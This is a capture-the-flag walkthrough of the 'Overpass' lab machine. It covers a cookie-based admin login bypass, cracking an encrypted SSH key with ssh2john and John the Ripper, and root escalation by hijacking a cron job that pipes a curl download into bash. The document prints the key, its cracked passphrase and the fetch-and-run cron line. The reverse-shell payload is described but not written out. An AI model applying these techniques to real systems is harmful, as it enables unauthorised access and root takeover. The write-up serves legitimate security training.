Overpass
Understanding the .js trick - ssh2john - cronjob PrivEsc
Initial Compromise
Using dirsearch or gobutser, we discover a hidden
/admin
directory on the web server
unknown@kali:/data/tmp$ curl -s http://10.10.150.228/admin/
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Overpass</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
<link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
<link rel="icon" type="image/png" href="/img/overpass.png" />
<script src="/main.js"></script>
<script src="/login.js"></script>
<script src="/cookie.js"></script>
</head>
<body onload="onLoad()">
<nav>
<img class="logo" src="/img/overpass.svg" alt="Overpass logo">
<h2 class="navTitle"><a href="/">Overpass</a></h2>
<a class="current" href="/aboutus">About Us</a>
<a href="/downloads">Downloads</a>
</nav>
<div class="content">
<h1>Administrator area</h1>
<p>Please log in to access this content</p>
<div>
<h3 class="formTitle">Overpass administrator login</h1>
</div>
<form id="loginForm">
<div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
<div class="formElem"><label for="password">Password:</label><input id="password" name="password"
type="password" required></div>
<button>Login</button>
</form>
<div id="loginStatus"></div>
</div>
</body>
The
login.js
looks suspicious, let's figure that out - the included javascript reveals that aSessionToken
cookie will be created when the admin credentials are correct if not no SessionToken will be generated
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
statusOrCookie
checks if the applied credentials is correct or not, if it's correct then it'll set a cookie named asSessionToken
and redirect to/admin
if not - Simply saysIncorrect Credentials
- Once we set the SessionToken with some random valueWe are provided with a SSH key. Let’s save it locally to
ssh.key
and give it the appropriate privileges
unknown@kali:/data/tmp$ cat files/ssh.key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
unknown@kali:/data/tmp/files$ chmod 600 ssh.key
When we try to login via the
id_rsa
, it asks for a passphrase - which confirms the key is protected - Let's crack it usingssh2john
unknown@kali:/data/tmp/files$ /data/src/john/run/ssh2john.py ssh.key > ssh.hash
unknown@kali:/data/tmp/files$ /data/src/john/run/john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (ssh.key)
1g 0:00:00:05 DONE (2020-08-19 16:47) 0.2000g/s 2868Kp/s 2868Kc/s 2868KC/sa6_123..*7¡Vamos!
Session completed.
Privilege Escalation
Analyzing the crontab shows that there is a script executed by root every minute
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
james@overpass-prod:~$
The script is using curl to get the
buildscript.sh
from the local web server (overpass.thm
points to127.0.0.1
in/etc/hosts
)Hopefully checking the permission of the
/etc/hosts
file it iswritable
for james
So Let's think outside the box, how do we exploit this ?
The cron job is fetching a buildscript.sh file from the local server and the /etc/hosts is writable for us which means we can simply replace the 127.0.0.1 to our $IP and meanwhile create a /src directory in our home directory along with the buildscript.sh file which will contain the reverse shell and dont forget to start your python web server :)
Last updated